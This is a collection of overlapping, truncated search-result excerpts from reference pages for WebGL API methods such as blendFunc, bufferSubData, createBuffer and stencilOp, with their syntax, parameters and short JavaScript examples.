...of flags controlling the flushing behavior. Must be 0 (exists for extensions only). timeout A GLint64 specifying a timeout the server should wait before continuing. Must be gl.TIMEOUT_IGNORED. Return value None. Examples var sync = gl.fenceSync(gl.SYNC_GPU_COMMANDS_COMPLETE, 0); gl.waitSync(sync, 0, gl.TIMEOUT_IGNORED); Specifications Specification Status Comment
WebGL 2.0The definition of 'waitSync' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glWaitSync' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.bindRenderbuffer() - Web APIs
Return value None. Exceptions A gl.INVALID_ENUM error is thrown if target is not gl.RENDERBUFFER. ...
... Return value None. Exceptions A gl.INVALID_ENUM error is thrown if target is not gl.RENDERBUFFER. ...
...nding point (target). Possible values: gl.RENDERBUFFER: Buffer data storage for single images in a renderable internal format. renderbuffer A
WebGLRenderbuffer object to bind. Return value None. Exceptions A gl.INVALID_ENUM error is thrown if target is not gl.RENDERBUFFER. Examples Binding a renderbuffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var renderbuffer = gl.createRenderbuffer(); gl.bindRenderbuffer(gl.RENDERBUFFER, renderbuffer); Getting current bindings To check the current renderbuffer binding, query the RENDERBUFFER_BINDING constant. gl.getParameter(gl.RENDERBUFFER_BINDING); Specifications Specification Status Comment
WebGL 1.0The definition of 'bindRenderbuffer' in that specification. ...
WebGLRenderingContext.blendEquation() - Web APIs
The
WebGLRenderingContext.blendEquation() method of the
WebGL API is used to set both the RGB blend equation and alpha blend equation to a single equation. The blend equation determines how a new pixel is combined with a pixel already in the
WebGLFramebuffer. Syntax void gl.blendEquation(mode); Parameters mode A GLenum specifying how source and destination colors are combined. Must be either: gl.FUNC_ADD: source + destination, gl.FUNC_SUBTRACT: source - destination, gl.FUNC_REVERSE_SUBTRACT: destination - source When using the EXT_blend_minmax extension: ext.MIN_EXT: Minimum of source and destination, ext.MAX_EXT: Maximum of source and destination. ...
...s mode A GLenum specifying how source and destination colors are combined. Must be either: gl.FUNC_ADD: source + destination, gl.FUNC_SUBTRACT: source - destination, gl.FUNC_REVERSE_SUBTRACT: destination - source When using the EXT_blend_minmax extension: ext.MIN_EXT: Minimum of source and destination, ext.MAX_EXT: Maximum of source and destination. When using a
WebGL 2 context, the following values are available additionally: gl.MIN: Minimum of source and destination, gl.MAX: Maximum of source and destination. default value: gl.FUNC_ADD Exception If mode is not one of the three possible values, a gl.INVALID_ENUM error is thrown. Return value None. Examples To set the blend equation, use: gl.blendEquation(gl.FUNC_ADD); gl.ble...
...TION, BLEND_EQUATION_RGB and BLEND_EQUATION_ALPHA constants which return gl.FUNC_ADD, gl.FUNC_SUBTRACT, gl.FUNC_REVERSE_SUBTRACT, or if the EXT_blend_minmax is enabled: ext.MIN_EXT or ext.MAX_EXT. gl.getParameter(gl.BLEND_EQUATION_RGB) === gl.FUNC_ADD; // true gl.getParameter(gl.BLEND_EQUATION_ALPHA) === gl.FUNC_ADD; // true Specifications Specification Status Comment
WebGL 1.0The definition of 'blendEquation' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definition of 'glBlendEquation' in that specification. Standard Man page of the OpenGL ES 2.0 API. OpenGL ES 3.0The definition of 'glBlendEquation' in that specification. Standard Man page of the OpenGL ES 3.0 API. ...
WebGLRenderingContext.blendFunc() - Web APIs
Syntax void gl.blendFunc(sfactor, dfactor); Parameters sfactor A GLenum specifying a multiplier for the source blending factors. The default value is gl.ONE. For possible values, see below. dfactor A GLenum specifying a multiplier for the destination blending factors. The default value is gl.ZERO. For possible values, see below. Return value None. Exceptions If sfactor or dfactor is not one of the listed possible values, a gl.INVALID_ENUM error is thrown. If a constant color and a constant alpha value are used together as source and destination factors, a gl.INVALID_ENUM error is thrown. ...
...iplies all colors by 1 minus a constant alpha value. gl.SRC_ALPHA_SATURATE min(AS, 1 - AD), min(AS, 1 - AD), min(AS, 1 - AD), 1 Multiplies the RGB colors by the smaller of either the source alpha value or the value of 1 minus the destination alpha value. The alpha value is multiplied by 1. Examples To use the blend function, you first have to activate blending with
WebGLRenderingContext.enable() with the argument gl.BLEND. gl.enable(gl.BLEND); gl.blendFunc(gl.SRC_COLOR, gl.DST_COLOR); To get the current blend function, query the BLEND_SRC_RGB, BLEND_SRC_ALPHA, BLEND_DST_RGB, and BLEND_DST_ALPHA constants which return one of the blend function constants. gl.enable(gl.BLEND); gl.blendFunc(gl.SRC_COLOR, gl.DST_COLOR); gl.getParameter(gl.BLEND_SRC_RGB) == gl.SR...
...nc(gl.SRC_COLOR, gl.DST_COLOR); To get the current blend function, query the BLEND_SRC_RGB, BLEND_SRC_ALPHA, BLEND_DST_RGB, and BLEND_DST_ALPHA constants which return one of the blend function constants. gl.enable(gl.BLEND); gl.blendFunc(gl.SRC_COLOR, gl.DST_COLOR); gl.getParameter(gl.BLEND_SRC_RGB) == gl.SRC_COLOR; // true Specifications Specification Status Comment
WebGL 1.0The definition of 'blendFunc' in that specification. Recommendation Initial definition. In
WebGL, constant color and constant alpha cannot be used together as source and destination factors in the blend function. See section 6.13. of the specification. OpenGL ES 2.0The definition of 'glBlendFunc' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.blendFuncSeparate() - Web APIs
Syntax void gl.blendFuncSeparate(srcRGB, dstRGB, srcAlpha, dstAlpha); Parameters srcRGB A GLenum specifying a multiplier for the red, green and blue (RGB) source blending factors. The default value is gl.ONE. For possible values, see below. dstRGB A GLenum specifying a multiplier for the red, green and blue (RGB) destination blending factors. The default value is gl.ZERO. For possible values, see below. srcAlpha A GLenum specifying a multiplier for the alpha source blending factor. The default value is gl.ONE. For possible values, see below. ...
...lies all colors by 1 minus a constant alpha value. gl.SRC_ALPHA_SATURATE min(AS, 1 - AD), min(AS, 1 - AD), min(AS, 1 - AD) 1 Multiplies the RGB colors by the smaller of either the source alpha color or the value of 1 minus the destination alpha color. The alpha value is multiplied by 1. Examples To use the blend function, you first have to activate blending with
WebGLRenderingContext.enable() with the argument gl.BLEND. gl.enable(gl.BLEND); gl.blendFuncSeparate(gl.SRC_COLOR, gl.DST_COLOR, gl.ONE, gl.ZERO); To get the current blend function, query the BLEND_SRC_RGB, BLEND_SRC_ALPHA, BLEND_DST_RGB, and BLEND_DST_ALPHA constants which return one of the blend function constants. gl.enable(gl.BLEND); gl.blendFuncSeparate(gl.SRC_COLOR, gl.DST_COLOR, gl.ONE, gl...
...ZERO); To get the current blend function, query the BLEND_SRC_RGB, BLEND_SRC_ALPHA, BLEND_DST_RGB, and BLEND_DST_ALPHA constants which return one of the blend function constants. gl.enable(gl.BLEND); gl.blendFuncSeparate(gl.SRC_COLOR, gl.DST_COLOR, gl.ONE, gl.ZERO); gl.getParameter(gl.BLEND_SRC_RGB) == gl.SRC_COLOR; // true Specifications Specification Status Comment
WebGL 1.0The definition of 'blendFunc' in that specification. Recommendation Initial definition. In
WebGL, constant color and constant alpha cannot be used together as source and destination factors in the blend function. See section 6.13. of the specification. OpenGL ES 2.0The definition of 'glBlendFunc' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.bufferSubData() - Web APIs
The
WebGLRenderingContext.bufferSubData() method of the
WebGL API updates a subset of a buffer object's data store. Syntax //
WebGL1: void gl.bufferSubData(target, offset, ArrayBuffer srcData); void gl.bufferSubData(target, offset, ArrayBufferView srcData); //
WebGL2: void gl.bufferSubData(target, dstByteOffset, ArrayBufferView srcData, srcOffset, length); Parameters target A GLenum specifying the binding point (target). Possible values: gl.ARRAY_BUFFER: Buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data. gl.ELEMENT_ARRAY_BUFFER: Buffer used for element indices. ...
... gl.COPY_WRITE_BUFFER: Buffer for copying from one buffer object to another. gl.TRANSFORM_FEEDBACK_BUFFER: Buffer for transform feedback operations. gl.UNIFORM_BUFFER: Buffer used for storing uniform blocks. ...
... reading the buffer. length Optional A GLuint defaulting to 0. Return value None. Exceptions A gl.INVALID_VALUE error is thrown if the data would be written past the end of the buffer or if data is null. A gl.INVALID_ENUM error is thrown if target is not one of the allowed enums. Examples Using bufferSubData var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW); gl.bufferSubData(gl.ARRAY_BUFFER, 512, data); Specifications Specification Status Comment
WebGL 1.0The definition of 'bufferSubData' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definiti...
WebGLRenderingContext.canvas - Web APIs
The
WebGLRenderingContext.canvas property is a read-only reference to the HTMLCanvasElement or OffscreenCanvas object that is associated with the context. It might be null if it is not associated with a <canvas> element or an OffscreenCanvas object. Syntax gl.canvas; Return value Either a HTMLCanvasElement or OffscreenCanvas object or null. Examples Canvas element Given this <canvas> element: <canvas id="canvas"></canvas> You can get back a reference to it from the
WebGLRenderingContext using the canvas property: var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.canvas; // HTMLCanvasElement Offscreen canvas Example using the experimental OffscreenCanvas object. var offscreen = new OffscreenCanvas(256, 256); var gl = offscreen.getContext('w...
... Recommendation Initial definition. ...
... Recommendation Initial definition. ...
WebGLRenderingContext.clearDepth() - Web APIs
Recommendation Initial definition. ...
... Recommendation Initial definition. ...
...yntax void gl.clearDepth(depth); Parameters depth A GLclampf specifying the depth value used when the depth buffer is cleared. Default value: 1. Return value None. Examples gl.clearDepth(0.5); To get the current depth clear value, query the DEPTH_CLEAR_VALUE constant. gl.getParameter(gl.DEPTH_CLEAR_VALUE); // 0.5 Specifications Specification Status Comment
WebGL 1.0The definition of 'clearDepth' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glClearDepthf' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.compileShader() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCompileShader' in that specification. Standard OpenGL man page. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCompileShader' in that specification. Standard OpenGL man page. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCompileShader' in that specification. ...
WebGLRenderingContext.createBuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenBuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenBuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
... The
WebGLRenderingContext.createBuffer() method of the
WebGL API creates and initializes a
WebGLBuffer storing data such as vertices or colors. Syntax
WebGLBuffer gl.createBuffer(); Parameters None. Return value A
WebGLBuffer storing data such as vertices or colors. Examples Creating a buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var buffer = gl.createBuffer(); Specifications Specification Status Comment
WebGL 1.0The definition of 'createBuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenBuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.createFramebuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenFramebuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenFramebuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
... The
WebGLRenderingContext.createFramebuffer() method of the
WebGL API creates and initializes a
WebGLFramebuffer object. Syntax
WebGLFramebuffer gl.createFramebuffer(); Parameters None. Return value A
WebGLFramebuffer object. Examples Creating a frame buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var framebuffer = gl.createFramebuffer(); Specifications Specification Status Comment
WebGL 1.0The definition of 'createFramebuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGenFramebuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.createProgram() - Web APIs
The
WebGLRenderingContext.createProgram() method of the
WebGL API creates and initializes a
WebGLProgram object. Syntax
WebGLProgram gl.createProgram(); Parameters None. Return value A
WebGLProgram object that is a combination of two compiled
WebGLShaders consisting of a vertex shader and a fragment shader (both written in GLSL). These are then linked into a usable program.. Examples Creating a
WebGL program var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCreateProgram' in that specification. ...
...ttachShader(program, fragmentShader); gl.linkProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. \n\n' + info; } See
WebGLShader for information on creating the vertexShader and fragmentShader in the above example. Specifications Specification Status Comment
WebGL 1.0The definition of 'createProgram' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCreateProgram' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.deleteBuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteBuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteBuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
... The
WebGLRenderingContext.deleteBuffer() method of the
WebGL API deletes a given
WebGLBuffer. This method has no effect if the buffer has already been deleted. Syntax void gl.deleteBuffer(buffer); Parameters buffer A
WebGLBuffer object to delete. Return value None. Examples Deleting a buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var buffer = gl.createBuffer(); // ... gl.deleteBuffer(buffer); Specifications Specification Status Comment
WebGL 1.0The definition of 'deleteBuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteBuffers' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.deleteFramebuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteFramebuffers' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteFramebuffers' in that specification. ...
...Framebuffer() method of the
WebGL API deletes a given
WebGLFramebuffer object. This method has no effect if the frame buffer has already been deleted. Syntax void gl.deleteFramebuffer(framebuffer); Parameters framebuffer A
WebGLFramebuffer object to delete. Return value None. Examples Deleting a frame buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var framebuffer = gl.createFramebuffer(); // ... gl.deleteFramebuffer(framebuffer); Specifications Specification Status Comment
WebGL 1.0The definition of 'deleteFramebuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteFramebuffers' in that specification. Standard Man page of the (similar) ...
WebGLRenderingContext.deleteProgram() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteProgram' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteProgram' in that specification. Standard Man page of the (similar) OpenGL API. ...
... The
WebGLRenderingContext.deleteProgram() method of the
WebGL API deletes a given
WebGLProgram object. This method has no effect if the program has already been deleted. Syntax void gl.deleteProgram(program); Parameters program A
WebGLProgram object to delete. Return value None. Examples Deleting a program var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var program = gl.createProgram(); // ... gl.deleteProgram(program); Specifications Specification Status Comment
WebGL 1.0The definition of 'deleteProgram' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteProgram' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.deleteTexture() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteTextures' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteTextures' in that specification. Standard Man page of the (similar) OpenGL API. ...
... The
WebGLRenderingContext.deleteTexture() method of the
WebGL API deletes a given
WebGLTexture object. This method has no effect if the texture has already been deleted. Syntax void gl.deleteTexture(texture); Parameters texture A
WebGLTexture object to delete. Return value None. Examples Deleting a texture var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var texture = gl.createTexture(); // ... gl.deleteTexture(texture); Specifications Specification Status Comment
WebGL 1.0The definition of 'deleteTexture' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDeleteTextures' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.generateMipmap() - Web APIs
The
WebGLRenderingContext.generateMipmap() method of the
WebGL API generates a set of mipmaps for a
WebGLTexture object. Mipmaps are used to create distance with objects. A higher-resolution mipmap is used for objects that are closer, and a lower-resolution mipmap is used for objects that are farther away. It starts with the resolution of the texture image and halves the resolution until a 1x1 dimension texture image is created. Syntax void gl.generateMipmap(target); Parameters target A GLenum specifying the binding point (target) of the active texture whose mipmaps will be generated. Possible values: gl.TEXTURE_2D: A two-dimensional texture. gl.TEXTURE_CUBE_MAP: A cube-mapped texture. ...
...he resolution of the texture image and halves the resolution until a 1x1 dimension texture image is created. Syntax void gl.generateMipmap(target); Parameters target A GLenum specifying the binding point (target) of the active texture whose mipmaps will be generated. Possible values: gl.TEXTURE_2D: A two-dimensional texture. gl.TEXTURE_CUBE_MAP: A cube-mapped texture. When using a
WebGL 2 context, the following values are available additionally: gl.TEXTURE_3D: A three-dimensional texture. gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. Return value None. Examples gl.generateMipmap(gl.TEXTURE_2D); Specifications Specification Status Comment
WebGL 1.0The definition of 'generateMipmap' in that specification. Recommen...
...s are available additionally: gl.TEXTURE_3D: A three-dimensional texture. gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. Return value None. Examples gl.generateMipmap(gl.TEXTURE_2D); Specifications Specification Status Comment
WebGL 1.0The definition of 'generateMipmap' in that specification. Recommendation Initial definition for
WebGL. OpenGL ES 2.0The definition of 'glGenerateMipmap' in that specification. Standard Man page of the (similar) OpenGL ES 2.0 API. OpenGL ES 3.0The definition of 'glGenerateMipmap' in that specification. Standard Man page of the (similar) OpenGL ES 3.0 API. Adds: gl.TEXTURE_3D and gl.TEXTURE_2D_ARRAY ...
WebGLRenderingContext.getProgramParameter() - Web APIs
pname A Glenum specifying the information to query. Possible values: gl.DELETE_STATUS: Returns a GLboolean indicating whether or not the program is flagged for deletion. gl.LINK_STATUS: Returns a GLboolean indicating whether or not the last link operation was successful. gl.VALIDATE_STATUS: Returns a GLboolean indicating whether or not the last validation operation was successful. gl.ATTACHED_SHADERS: Returns a GLint indicating the number of attached shaders to a program. ...
...GLboolean indicating whether or not the last validation operation was successful. gl.ATTACHED_SHADERS: Returns a GLint indicating the number of attached shaders to a program. gl.ACTIVE_ATTRIBUTES: Returns a GLint indicating the number of active attribute variables to a program. gl.ACTIVE_UNIFORMS: Returns a GLint indicating the number of active uniform variables to a program. When using a
WebGL 2 context, the following values are available additionally: gl.TRANSFORM_FEEDBACK_BUFFER_MODE: Returns a GLenum indicating the buffer mode when transform feedback is active. May be gl.SEPARATE_ATTRIBS or gl.INTERLEAVED_ATTRIBS. gl.TRANSFORM_FEEDBACK_VARYINGS: Returns a GLint indicating the number of varying variables to capture in transform feedback mode. gl.ACTIVE_UNIFORM_BLOCK...
...varying variables to capture in transform feedback mode. gl.ACTIVE_UNIFORM_BLOCKS: Returns a GLint indicating the number of uniform blocks containing active uniforms. Return value Returns the requested program information (as specified with pname). Examples gl.getProgramParameter(program, gl.DELETE_STATUS); Specifications Specification Status Comment
WebGL 1.0The definition of 'getProgramParameter' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetProgramiv' in that specification. Standard Man page of the (similar) OpenGL API.
WebGL 2.0The definition of 'getProgramParameter' in that specification. Editor's Draft Adds new pname values: gl.TRANSFORM_FEEDBACK_BUFFER...
WebGLRenderingContext.getShaderSource() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetShaderSource' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetShaderSource' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. ...
WebGLRenderingContext.hint() - Web APIs
The
WebGLRenderingContext.hint() method of the
WebGL API specifies hints for certain behaviors. The interpretation of these hints depend on the implementation. Syntax void gl.hint(target, mode); Parameters target Sets which behavior to be controlled. Possible values: gl.GENERATE_MIPMAP_HINT: Quality of filtering when generating mipmap images with
WebGLRenderingContext.generateMipmap(). When using the OES_standard_derivatives extension: ext.FRAGMENT_SHADER_DERIVATIVE_HINT_OES: Accuracy of the derivative calculation for the GLSL built-in functions: dFdx, dFdy, and fwidth. ...
...The default value is gl.DONT_CARE. ...
...ct or the highest quality option should be used. gl.DONT_CARE: There is no preference for this behavior. Return value None. Examples The following example hints that the quality of filtering when generating mipmap images should be most efficient instead of best quality. gl.hint(gl.GENERATE_MIPMAP_HINT, gl.FASTEST); Specifications Specification Status Comment
WebGL 1.0The definition of 'hint' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glHint' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.isBuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsBuffer' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsBuffer' in that specification. Standard Man page of the OpenGL API. ...
... The
WebGLRenderingContext.isBuffer() method of the
WebGL API returns true if the passed
WebGLBuffer is valid and false otherwise. Syntax GLboolean gl.isBuffer(buffer); Parameters buffer A
WebGLBuffer to check. Return value A GLboolean indicating whether or not the buffer is valid. Examples Creating a buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var buffer = gl.createBuffer(); gl.isBuffer(buffer); Specifications Specification Status Comment
WebGL 1.0The definition of 'isBuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsBuffer' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.isFramebuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsFramebuffer' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsFramebuffer' in that specification. ...
... method of the
WebGL API returns true if the passed
WebGLFramebuffer is valid and false otherwise. Syntax GLboolean gl.isFramebuffer(framebuffer); Parameters framebuffer A
WebGLFramebuffer to check. Return value A GLboolean indicating whether or not the frame buffer is valid. Examples Checking a frame buffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var framebuffer = gl.createFramebuffer(); gl.isFramebuffer(framebuffer); Specifications Specification Status Comment
WebGL 1.0The definition of 'isFramebuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsFramebuffer' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.isProgram() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsProgram' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsProgram' in that specification. Standard Man page of the OpenGL API. ...
...
WebGLRenderingContext.isProgram() method of the
WebGL API returns true if the passed
WebGLProgram is valid, false otherwise. Syntax GLboolean gl.isProgram(program); Parameters program A
WebGLProgram to check. Return value A GLboolean indicating whether or not the program is valid. Examples Checking a program var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var program = gl.createProgram(); // ... gl.isProgram(program); Specifications Specification Status Comment
WebGL 1.0The definition of 'isProgram' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsProgram' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.isRenderbuffer() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsRenderbuffer' in that specification. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsRenderbuffer' in that specification. ...
...od of the
WebGL API returns true if the passed
WebGLRenderbuffer is valid and false otherwise. Syntax GLboolean gl.isRenderbuffer(renderbuffer); Parameters renderbuffer A
WebGLRenderbuffer to check. Return value A GLboolean indicating whether or not the renderbuffer is valid. Examples Checking a renderbuffer var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var renderbuffer = gl.createRenderbuffer(); gl.isRenderbuffer(renderbuffer); Specifications Specification Status Comment
WebGL 1.0The definition of 'isRenderbuffer' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsRenderbuffer' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.isShader() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsShader' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsShader' in that specification. Standard Man page of the OpenGL API. ...
... The
WebGLRenderingContext.isShader() method of the
WebGL API returns true if the passed
WebGLShader is valid, false otherwise. Syntax GLboolean gl.isShader(shader); Parameters shader A
WebGLShader to check. Return value A GLboolean indicating whether or not the shader is valid. Examples Checking a shader var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var shader = gl.createShader(gl.VERTEX_SHADER); // ... gl.isShader(shader); Specifications Specification Status Comment
WebGL 1.0The definition of 'isShader' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsShader' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.isTexture() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsTexture' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsTexture' in that specification. Standard Man page of the OpenGL API. ...
...GLRenderingContext.isTexture() method of the
WebGL API returns true if the passed
WebGLTexture is valid and false otherwise. Syntax GLboolean gl.isTexture(texture); Parameters texture A
WebGLTexture to check. Return value A GLboolean indicating whether or not the texture is valid. Examples Checking a texture var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var texture = gl.createTexture(); gl.isTexture(texture); Specifications Specification Status Comment
WebGL 1.0The definition of 'isTexture' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glIsTexture' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.lineWidth() - Web APIs
Syntax void gl.lineWidth(width); Parameters width A GLfloat specifying the width of rasterized lines. ...
...t that the minimum and maximum width for a line is implementation defined. The maximum minimum width is allowed to be 1.0. The minimum maximum width is also allowed to be 1.0. Because of these implementation defined limits it is not recommended to use line widths other than 1.0 since there is no guarantee any user's browser will display any other width. As of January 2017 most implementations of
WebGL only support a minimum of 1 and a maximum of 1 as the technology they are based on has these same limits. Syntax void gl.lineWidth(width); Parameters width A GLfloat specifying the width of rasterized lines. Default value: 1. Return value None. Examples Setting the line width: gl.lineWidth(5); Getting the line width: gl.getParameter(gl.LINE_WIDTH); Getting the range of availab...
...eters width A GLfloat specifying the width of rasterized lines. Default value: 1. Return value None. Examples Setting the line width: gl.lineWidth(5); Getting the line width: gl.getParameter(gl.LINE_WIDTH); Getting the range of available widths. Returns a Float32Array. gl.getParameter(gl.ALIASED_LINE_WIDTH_RANGE); Specifications Specification Status Comment
WebGL 1.0The definition of 'lineWidth' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glLineWidth' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.shaderSource() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glShaderSource' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glShaderSource' in that specification. Standard Man page of the (similar) OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glShaderSource' in that specification. ...
WebGLRenderingContext.stencilOp() - Web APIs
Syntax void gl.stencilOp(fail, zfail, zpass); Parameters All three parameters accept all constants listed below. fail A GLenum specifying the function to use when the stencil test fails. The default value is gl.KEEP. zfail A GLenum specifying the function to use when the stencil test passes, but the depth test fails. The default value is gl.KEEP. zpass A GLenum specifying the function to use when both the stencil test and the depth test pass, or when the stencil test passes and there is no depth buffer or depth testing is disabled. The default value is gl.KEEP. Return value None. Constants gl.KEEP Keeps the current value. ...
...ecifying the function to use when both the stencil test and the depth test pass, or when the stencil test passes and there is no depth buffer or depth testing is disabled. The default value is gl.KEEP. Return value None. Constants gl.KEEP Keeps the current value. gl.ZERO Sets the stencil buffer value to 0. gl.REPLACE Sets the stencil buffer value to the reference value as specified by
WebGLRenderingContext.stencilFunc(). gl.INCR Increments the current stencil buffer value. Clamps to the maximum representable unsigned value. gl.INCR_WRAP Increments the current stencil buffer value. Wraps stencil buffer value to zero when incrementing the maximum representable unsigned value. gl.DECR Decrements the current stencil buffer value. Clamps to 0. gl.DECR_WRAP Decrements the curren...
...constants with getParameter(). gl.getParameter(gl.STENCIL_FAIL); gl.getParameter(gl.STENCIL_PASS_DEPTH_PASS); gl.getParameter(gl.STENCIL_PASS_DEPTH_FAIL); gl.getParameter(gl.STENCIL_BACK_FAIL); gl.getParameter(gl.STENCIL_BACK_PASS_DEPTH_PASS); gl.getParameter(gl.STENCIL_BACK_PASS_DEPTH_FAIL); gl.getParameter(gl.STENCIL_BITS); Specifications Specification Status Comment
WebGL 1.0The definition of 'stencilOp' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glStencilOp' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.stencilOpSeparate() - Web APIs
